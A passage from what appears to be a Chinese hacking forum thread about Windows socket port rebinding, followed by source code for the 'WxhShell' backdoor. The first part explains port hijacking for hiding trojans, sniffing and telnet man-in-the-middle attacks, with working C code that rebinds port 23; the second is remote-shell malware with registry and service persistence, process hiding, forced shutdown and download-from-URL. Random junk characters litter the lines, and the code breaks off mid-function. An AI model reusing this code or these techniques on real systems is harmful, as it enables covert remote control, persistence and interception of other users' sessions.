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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E2L(wt}^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *)]"27^  
F_uY{bg  
  saddr.sin_family = AF_INET; 3?E8\^N\n  
rw)kAe31  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0ult7s}  
/J)l/oI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aQ j*KMc  
rwIe qV{:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *Ywpz^2?:  
T!W~n ZC  
  这意味着什么?意味着可以进行如下的攻击: R_sC! -  
2wqk,c[]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8vk..!7n}  
,7,g%?_P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Mz I q"3  
e4OeoQ@ >  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _ .i3,-l)  
>\ST-7[^L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B5X sGLV  
J/);"bg_O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $N2SfyX7  
hC_Vts[v/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,%bhyww<  
U=sh[W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i~J;G#b  
YGc^h(d  
  #include ^% Q|s#w.  
  #include B~'MBBD"  
  #include 0:KE@=  
  #include    e$c?}3E!z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (SVWdgb  
  int main() -oz`"&%  
  { ]<DNo&fw  
  WORD wVersionRequested; 9]$8MY   
  DWORD ret; ,D6v4<jh  
  WSADATA wsaData; m\ /(w_/?  
  BOOL val; R6 XuA(5  
  SOCKADDR_IN saddr; =rPrPb  
  SOCKADDR_IN scaddr; Kt>X3m,  
  int err; @&1Wy p  
  SOCKET s; 9@ $,oM=  
  SOCKET sc; ^0W(hA  
  int caddsize; 52zGJ I*  
  HANDLE mt; zm9TvoC%}  
  DWORD tid;   CBf7]n0H  
  wVersionRequested = MAKEWORD( 2, 2 ); CLKov\U\  
  err = WSAStartup( wVersionRequested, &wsaData ); CGw--`#\  
  if ( err != 0 ) { pO<-.,  
  printf("error!WSAStartup failed!\n"); 6)\dBOz  
  return -1; m xw dugr`  
  } "HM{b?N  
  saddr.sin_family = AF_INET; OEr:xK2T  
   Q4s&E\}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O gmO&cE  
8|twV35  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NkxCs  
  saddr.sin_port = htons(23); tNs~M4TVVH  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ja]o GT=e  
  { 4"\ yf  
  printf("error!socket failed!\n"); =j0x.f Se  
  return -1; ANH4IYd3  
  } P,gdnV ^  
  val = TRUE; 151tXSzLT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "fQRk  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x2|6   
  { P4 ul[zZ  
  printf("error!setsockopt failed!\n"); ,gnQa  
  return -1; RK9>dkW  
  } O}Ui`eWU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [_y@M ]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]6tkEyuq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t qOi x/  
Ccfwax+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -'rj&x{Q)U  
  { k7_I$ <YDj  
  ret=GetLastError(); Z#`0txCF  
  printf("error!bind failed!\n"); UkR3}{i  
  return -1; guN4-gGDr<  
  } c)C5KaiPG  
  listen(s,2); .&,[,  
  while(1) ST1Ts5I  
  { J."{<&  
  caddsize = sizeof(scaddr); fUag1d  
  //接受连接请求 rlok%Rt4Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q F-)^`N  
  if(sc!=INVALID_SOCKET) .BTx&AqU  
  { !jS4!2'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pt:;9hA  
  if(mt==NULL) v@ONo?)  
  { +I|8Q|^SD  
  printf("Thread Creat Failed!\n"); X7aXxPCq1  
  break; 6(56,i<#/  
  } & %}/AoU  
  } TW`mxj_J2  
  CloseHandle(mt); g jG2  
  } #G _/.h@  
  closesocket(s); x;$|#]+  
  WSACleanup(); L9IGK<  
  return 0; [j6~}zu@  
  }   n~z\?Y=*  
  DWORD WINAPI ClientThread(LPVOID lpParam) G=M] 8+h  
  { 4 9w=kzo  
  SOCKET ss = (SOCKET)lpParam; YaFcz$GE_  
  SOCKET sc; >?XbU}  
  unsigned char buf[4096]; % mn />  
  SOCKADDR_IN saddr; eFQQW`J  
  long num; 3_qdJ<,  
  DWORD val; +h[e0J|v{  
  DWORD ret; p?rK`$U+J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;?6>mh(`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L@|#Bbmx  
  saddr.sin_family = AF_INET; #-x@"+z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M1=_^f=&.  
  saddr.sin_port = htons(23); zi!#\ s^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t/:w1rw  
  { <A~GW 'HB  
  printf("error!socket failed!\n"); e&J3N  
  return -1; 9$tl00  
  } HY;oy(  
  val = 100; 6c\DJD  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :zL393(  
  { < tQc_  
  ret = GetLastError(); l=Wd,$\  
  return -1; 7u%a/<  
  } IlHY%8F{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kJ8vKcc  
  { t!l%/$-  
  ret = GetLastError(); :4;S"p  
  return -1; u7k|7e=xk  
  } Jirct,k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4]6Qr  
  { 7~.ZE   
  printf("error!socket connect failed!\n");  {;RF  
  closesocket(sc); fcAIg(vW  
  closesocket(ss); ]t/f<jKN^  
  return -1; :::>ro*R  
  } _'JRo%{xGX  
  while(1) iPU% /_>  
  { ?iln<% G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @%B4;c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qyv"Wb6+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :GL7J6  
  num = recv(ss,buf,4096,0); RWE~&w G}  
  if(num>0) Pf8u/?/  
  send(sc,buf,num,0); }'`xu9<  
  else if(num==0) :HZ;Po   
  break; `C<F+/q  
  num = recv(sc,buf,4096,0); T'R,vxP)\  
  if(num>0) ;5M<j3_*  
  send(ss,buf,num,0); t-lv|%+8  
  else if(num==0) } J;~P 9Y  
  break; TSXTc'  
  } ,Oi^ySn  
  closesocket(ss); @^wpAQfd4  
  closesocket(sc); oWD)+5. ]  
  return 0 ; G7Ny"{Z  
  } @ KJV1t`  
_?Ckq  
.Cfp'u%\;  
========================================================== q2Rf@nt  
6H6Law!)  
下边附上一个代码,,WXhSHELL w -dI<s  
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========================================================== \P@S"QO  
/#IH -2N  
#include "stdafx.h" x:C@)CAr  
D2?S,9+E_  
#include <stdio.h> iPkT*Cl8  
#include <string.h> qzlER  
#include <windows.h> bZXlJa`'S  
#include <winsock2.h> . =R=cA7  
#include <winsvc.h> I9,8HtnA  
#include <urlmon.h> HqRCjD  
.pKN4  
#pragma comment (lib, "Ws2_32.lib") 0lf"w@/  
#pragma comment (lib, "urlmon.lib") l]u7.~b  
+Z$a1 Y@  
#define MAX_USER   100 // 最大客户端连接数 7yUvL8p-  
#define BUF_SOCK   200 // sock buffer x Zg7Jg  
#define KEY_BUFF   255 // 输入 buffer "MTq{f2?  
bQpoXs0w;  
#define REBOOT     0   // 重启 #8&#E?^d  
#define SHUTDOWN   1   // 关机 /=- h:0{M  
8'% +G  
#define DEF_PORT   5000 // 监听端口 'rh\CA/}D  
_0*=u$~R  
#define REG_LEN     16   // 注册表键长度 ,L~snR'w  
#define SVC_LEN     80   // NT服务名长度 >E~~7Yal  
aLHrl6"  
// 从dll定义API oo'iwq-\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y0y+%H-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qAbd xd[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d>~`j8,B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e~*S4dKR  
$WJy?_c  
// wxhshell配置信息 iI}nW  
struct WSCFG { @M9_j{A  
  int ws_port;         // 监听端口 xT/9kM&}L  
  char ws_passstr[REG_LEN]; // 口令 0*{@E%9  
  int ws_autoins;       // 安装标记, 1=yes 0=no H<{*ub4'L*  
  char ws_regname[REG_LEN]; // 注册表键名 @@; 1%z  
  char ws_svcname[REG_LEN]; // 服务名 6iyt2q kh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Jb 6&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qWkx:-g]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Mi;Tn;3er  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :g/{(#E@Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {YfYIt=.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2t.fD@  
TiTYs  
}; 5 5a@)>h  
+ p'\(Z(  
// default Wxhshell configuration  rA2qV  
struct WSCFG wscfg={DEF_PORT, i'9e K O  
    "xuhuanlingzhe", 7~L|;^(  
    1, m9uUDq#GJ  
    "Wxhshell", tPA"lBS !  
    "Wxhshell", oX2r?.j#M  
            "WxhShell Service", )y5iH){ !  
    "Wrsky Windows CmdShell Service", gMCy$+?  
    "Please Input Your Password: ", a3*.,%d  
  1, i /C'0  
  "http://www.wrsky.com/wxhshell.exe", })q]g Mj  
  "Wxhshell.exe" OY$7`8M[  
    }; S [ i$e  
3!1&DII4  
// 消息定义模块 ;\1b{-' l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5,Qy/t}K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0VG^GKmx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A<]&JbIt  
char *msg_ws_ext="\n\rExit."; ,Z >JvTnH  
char *msg_ws_end="\n\rQuit."; OrzM hQaf  
char *msg_ws_boot="\n\rReboot..."; L/c4"f|.*v  
char *msg_ws_poff="\n\rShutdown..."; 3KR2TcT#{  
char *msg_ws_down="\n\rSave to "; zv&ePq\#  
m<~>&mWr  
char *msg_ws_err="\n\rErr!"; 9$8X> T^   
char *msg_ws_ok="\n\rOK!"; L,tZh0  
]U#JsMS  
char ExeFile[MAX_PATH]; 6Uch 0xha!  
int nUser = 0; p^}L  
HANDLE handles[MAX_USER]; L)@`58Eil  
int OsIsNt; g6HphRJ5s  
l A 0-?k  
SERVICE_STATUS       serviceStatus; ^V_ku@DY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x4/T?4k  
Bi %Z2/  
// 函数声明 /YS@[\j4  
int Install(void); Jx)~kK  
int Uninstall(void); hYs82P|2Ol  
int DownloadFile(char *sURL, SOCKET wsh); ?=TL2"L  
int Boot(int flag); &9S8al 8"  
void HideProc(void); *1%e%G  
int GetOsVer(void); Zjw!In|vC  
int Wxhshell(SOCKET wsl); jt0H5-x  
void TalkWithClient(void *cs); pW`ntE#L  
int CmdShell(SOCKET sock); W` WLW8Qsw  
int StartFromService(void); 't||F1X~J  
int StartWxhshell(LPSTR lpCmdLine); >|y>e{P  
F0X5dv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "v*oga%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^U R-#WaQ  
gNG0k$nP  
// 数据结构和表定义 vsOdp:Yp9!  
SERVICE_TABLE_ENTRY DispatchTable[] = ]t8{)r  
{ sDW"j\  
{wscfg.ws_svcname, NTServiceMain}, {Q}!NkF 1  
{NULL, NULL} U&tfl/  
}; yd\5Z[iEp  
`two|gX0K  
// 自我安装 IptB.bYc  
int Install(void) o6`Y7,]  
{ 3RBpbTNWp  
  char svExeFile[MAX_PATH]; r3*+8 D~a_  
  HKEY key; $w 5#2Za  
  strcpy(svExeFile,ExeFile); s|fCR  
1jR=h7^=  
// 如果是win9x系统,修改注册表设为自启动 S.zg&   
if(!OsIsNt) { LG"BfYy6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,AGM?&A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &ryl$!!3H  
  RegCloseKey(key); .aVHd<M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *93l${'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tw`F?i~  
  RegCloseKey(key); IBn'iE[>  
  return 0; TyxU6<>4J4  
    } !Qj)tS#Az  
  } &;SwLDF"1  
} m70`{-O  
else { s{x*~M$vt  
yf0vR%,\  
// 如果是NT以上系统,安装为系统服务 5i}CzA96  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N>W;0u!  
if (schSCManager!=0) 7C,<iY  
{  r{; VTQ  
  SC_HANDLE schService = CreateService 0:7v/S!:  
  ( ]j%*"V  
  schSCManager, [XA&&EcU  
  wscfg.ws_svcname, uOivnJ?  
  wscfg.ws_svcdisp, =%:n0S0C"  
  SERVICE_ALL_ACCESS, 'qD'PLV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wR 5\^[GN  
  SERVICE_AUTO_START, .b!OZ  
  SERVICE_ERROR_NORMAL, `2 %eDFZ  
  svExeFile, ox i a}  
  NULL, gNMKGf\Y  
  NULL, ^?sSsH z  
  NULL, VuJfo9 `E  
  NULL, MbT ONt?~v  
  NULL [="g|/M)  
  ); W07-JHV%  
  if (schService!=0) AaCnTRG  
  { : 9djMsd  
  CloseServiceHandle(schService); CWobvR)e  
  CloseServiceHandle(schSCManager); &V ^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |,M#8NOp:  
  strcat(svExeFile,wscfg.ws_svcname); !>a&`j2:W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  8o%<.]   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t ?Njw7  
  RegCloseKey(key); *Dd(+NI  
  return 0; ]*kP>  
    } pUCEYR  
  } ^^t]vojX  
  CloseServiceHandle(schSCManager); X$j|/))  
} MIk #60Ab  
} |)|vG_  
^6N3 nkyZ  
return 1; lu G023'  
} ur~Tql  
FEm1^X#]  
// 自我卸载 ^>vO5Ho.  
int Uninstall(void) h^[pp c{Z  
{ <.?^LT  
  HKEY key; z Et6  
:3E8`q~c1  
if(!OsIsNt) { 3Aqe;Wf9%+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >ji}j~cH  
  RegDeleteValue(key,wscfg.ws_regname); ]`CKQ> o  
  RegCloseKey(key); {=pP`HD0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jiw`i  
  RegDeleteValue(key,wscfg.ws_regname); R"8})a gw  
  RegCloseKey(key); ^,ZvKA"}+/  
  return 0; ya*q;D  
  } btB(n<G2#  
} !)51v {  
} W~+!"^<n  
else { g[D,\  
VQG  /g\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q6m87O9  
if (schSCManager!=0) pO7{3%  
{ 4/mj"PBKL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f4aD0.K.g|  
  if (schService!=0) /%}YuN  
  { mXN1b!  
  if(DeleteService(schService)!=0) { 6"rFfdns  
  CloseServiceHandle(schService); yo Q?lh  
  CloseServiceHandle(schSCManager); wZ\e3H z  
  return 0; n_!]B_Vd$  
  } ([4{n  
  CloseServiceHandle(schService); [w#x5Xsn  
  } dTU.XgX)1^  
  CloseServiceHandle(schSCManager); k{u%p<  
} ]( U%1  
} oN1wrf}Sh  
8en#PH }  
return 1; 6wvhvMkS  
} ;>QK}#'  
WkU) I2oH  
// 从指定url下载文件 61eKGcjs:  
int DownloadFile(char *sURL, SOCKET wsh) [jtj~]&mO  
{ 5  a*'N~  
  HRESULT hr; Um0<I)  
char seps[]= "/"; V;(*\"O  
char *token; Jj^<:t5{rN  
char *file; 4{;8 ]/.a  
char myURL[MAX_PATH]; u_/OTy  
char myFILE[MAX_PATH]; i5~ /+~  
&oK/ ]lub  
strcpy(myURL,sURL); R^Eu}?<f  
  token=strtok(myURL,seps); +D{*L0$D"  
  while(token!=NULL) xz Gsfd  
  { Spr:K,  
    file=token; exrt|A] _[  
  token=strtok(NULL,seps); )1tnZ=&  
  } 3K'o&>}L  
me}Gb a  
GetCurrentDirectory(MAX_PATH,myFILE); C{I8Pio{b  
strcat(myFILE, "\\"); ,*}g r  
strcat(myFILE, file); w$_'xX(  
  send(wsh,myFILE,strlen(myFILE),0); E*!zJ,@8  
send(wsh,"...",3,0); *IO;`k q,;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k @/SeE  
  if(hr==S_OK) Wp9 2sm+  
return 0; L!}j3(I  
else ?\p%Mx?   
return 1; /o06hy  
tU~H@'  
} <0,ah4C  
'y@ 2,9v  
// 系统电源模块 m*Lv,yw %a  
int Boot(int flag) `))J8j"  
{ KlX |PQ  
  HANDLE hToken; lt(-,md  
  TOKEN_PRIVILEGES tkp; eJ)KE5%n#  
Bc"}nSjH  
  if(OsIsNt) { <T2~xn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XGup,7e9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0|+hm^'_  
    tkp.PrivilegeCount = 1; :M?')  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !&:W1Jkp(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ThqfZl=V  
if(flag==REBOOT) { Ai_|)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Bw/H'Y  
  return 0; yW=hnV{  
} `GN5QLg#}0  
else { GHsdLe=t0#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !vo'8r?&  
  return 0; y8WXp_\  
} `::(jW.KO  
  } UeiJhH,u   
  else { wbF1>{/"  
if(flag==REBOOT) { DBh/V#* D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &T/9y W[L  
  return 0; -0J<R;cVs  
} j]F3[gpc  
else { E?5B>Jer#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0~L 8yMM  
  return 0; U!UX"r  
} qx CL  
} 2dJ)4  
`r0 qn'*  
return 1; n7!Lwq2  
} .+~kJ0~Y  
snzH}$Ls  
// win9x进程隐藏模块 WMz|FFKVY  
void HideProc(void) 1B]wSvP@  
{ d.(]V2X.J  
=d4',[O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }6{)Jv  
  if ( hKernel != NULL ) q>lkLHS  
  { C]cT*B^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a ZCZ/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5N</Z6f'o  
    FreeLibrary(hKernel); n)7$xYuH  
  } ]be2jQx3  
\c^jaK5  
return; ,7$uh):  
} Dq1XZ%8  
%1d6j<7  
// 获取操作系统版本 hnL gsz  
int GetOsVer(void) 7}7C0mV3  
{ BCDf9]X  
  OSVERSIONINFO winfo; ]qG5 Ne _  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n~cm?"  
  GetVersionEx(&winfo); l8Iy 03H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7(iRz  
  return 1; hQLx"R$  
  else E0%Y%PQ**{  
  return 0; jl%e O.  
} 1UWgOCc  
EC\:uK  
// 客户端句柄模块 gK_[3FiKt  
int Wxhshell(SOCKET wsl) b6M)qt9R  
{ mztq7[&-  
  SOCKET wsh; 3\~fe/z'I  
  struct sockaddr_in client; 3T^dgWXEG  
  DWORD myID; >N"PLSY1  
MBrVh6z>  
  while(nUser<MAX_USER) pY5HW2TsY|  
{ @uD{`@[  
  int nSize=sizeof(client); $>37PVVW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !/9Sb1_~  
  if(wsh==INVALID_SOCKET) return 1; !{aA*E{  
3$f5][+U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /'^>-!8_1  
if(handles[nUser]==0) ,'DrFlI  
  closesocket(wsh); kF~e3A7C  
else :rc[j@|pH  
  nUser++; X51$5%  
  } Fd.d(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PS;*N 8  
dV*rnpN  
  return 0; 3sIM7WD?  
} jJC( (1|  
JT_B@TO\  
// 关闭 socket 9uoj3Rh<  
void CloseIt(SOCKET wsh) B>2 1A9&  
{ 5!fW&OiY  
closesocket(wsh); vy y\^nL  
nUser--; N>\?Aeh  
ExitThread(0); Pu*UZcXY  
} p arG  
J~`%Nj5>  
// 客户端请求句柄 $F$R4?_  
void TalkWithClient(void *cs) UeeV+xU  
{ }r<^]Q*&p  
[,X,2  
  SOCKET wsh=(SOCKET)cs; !9OgA  
  char pwd[SVC_LEN]; ()JDjzQT  
  char cmd[KEY_BUFF]; k}qiIMdI  
char chr[1]; hvZR4|k>  
int i,j; CUcjJ|MZ  
|.W;vc<  
  while (nUser < MAX_USER) { l[{}ZKZ  
bncFrzp#o  
if(wscfg.ws_passstr) { ="E V@H?U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (ZsR=:9(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HKw4}FC*  
  //ZeroMemory(pwd,KEY_BUFF); a$& 6a   
      i=0; o:*iT =l  
  while(i<SVC_LEN) { ixpG[8s  
mSeN M  
  // 设置超时 '~a$f;: Dv  
  fd_set FdRead; |:BYOxAYZ8  
  struct timeval TimeOut; W4Q]<<6&  
  FD_ZERO(&FdRead); Q(7l<z  
  FD_SET(wsh,&FdRead); 1OS3Gv8jc~  
  TimeOut.tv_sec=8; POs~xaZ`H  
  TimeOut.tv_usec=0; %W@IB8]Vr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nmrk-#._@9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8iA(:Tb  
g+*[CKO{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YNk|UwJi  
  pwd=chr[0]; bd}SB-D  
  if(chr[0]==0xd || chr[0]==0xa) { ?QVI'R:Z?  
  pwd=0; -2d&Aq4m)  
  break; ;Nij*-U4~  
  } I/|n ma/ $  
  i++; "V2$g  
    } C>ZeG Vq  
L<`g}iw  
  // 如果是非法用户,关闭 socket 9x,+G['Zt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^q2zqC  
} ywte \}  
ZeV)/g,w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v21?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Wv?p4  
!~v>&bCG>9  
while(1) { (P8oXb+%  
&i RX-)^u  
  ZeroMemory(cmd,KEY_BUFF); r U5'hK  
t,nB`g?  
      // 自动支持客户端 telnet标准   #1R %7*$i  
  j=0; gvYs<,:  
  while(j<KEY_BUFF) { ^Yz05\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z Z7U^#RT  
  cmd[j]=chr[0]; d5hE!=  
  if(chr[0]==0xa || chr[0]==0xd) { s ~G{-)*  
  cmd[j]=0; OK(d&   
  break; 4y.[tk5  
  } "<#:\6aym  
  j++; Df^S77&c!  
    } P#PQ4uK \  
?Pc 3*.  
  // 下载文件 p7er04/}\  
  if(strstr(cmd,"http://")) { BZ9iy~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "dTXT  
  if(DownloadFile(cmd,wsh)) ~yN,FpD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q#Vf2U55m  
  else O!tD1^O!1}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :_ox8xS4  
  } ls Ch K  
  else { gZv <_0N  
Hc9pWr "N  
    switch(cmd[0]) { EVsZ:Ra^k  
  t;3.;  
  // 帮助 Y[4B{  
  case '?': { ow "Xv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;0'v`ob'.?  
    break; Z ngJ9js  
  } @35 shLs  
  // 安装 wP*Z/}Uum+  
  case 'i': { ,jmG!qJb  
    if(Install()) b??1Up  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (P-<9y@  
    else zdE^v{}|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /+msrrpD  
    break; TZg7BLfy  
    } eHR<(8c'f  
  // 卸载 .>n|#XK  
  case 'r': { bE~lc}%  
    if(Uninstall()) k7*q.20  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $'q(Z@  
    else nCU4a1rZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .&y1gh!=  
    break; X[<9+Q-&  
    } at!?"u  
  // 显示 wxhshell 所在路径 :F&WlU$L  
  case 'p': { )w-?|2-w5  
    char svExeFile[MAX_PATH]; CCV~nf  
    strcpy(svExeFile,"\n\r"); Rd)QVEk>SD  
      strcat(svExeFile,ExeFile); UZ#2*PH2E  
        send(wsh,svExeFile,strlen(svExeFile),0); >YLm]7v}  
    break; O;2 u1p'iP  
    } b3+PC$z2h  
  // 重启 S6]':  
  case 'b': { 1oPT8)[U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >q`X%&l_  
    if(Boot(REBOOT)) "dOzQz*E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eAMT72_  
    else { zKNk(/y  
    closesocket(wsh); `Nj|}^A  
    ExitThread(0); Bh?;\D'YC  
    } ,ME9<3Ac  
    break; *C\O] r:'  
    } GSp1,E2J  
  // 关机 e 3K  
  case 'd': { 8T4J^6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PJ{.jWwD  
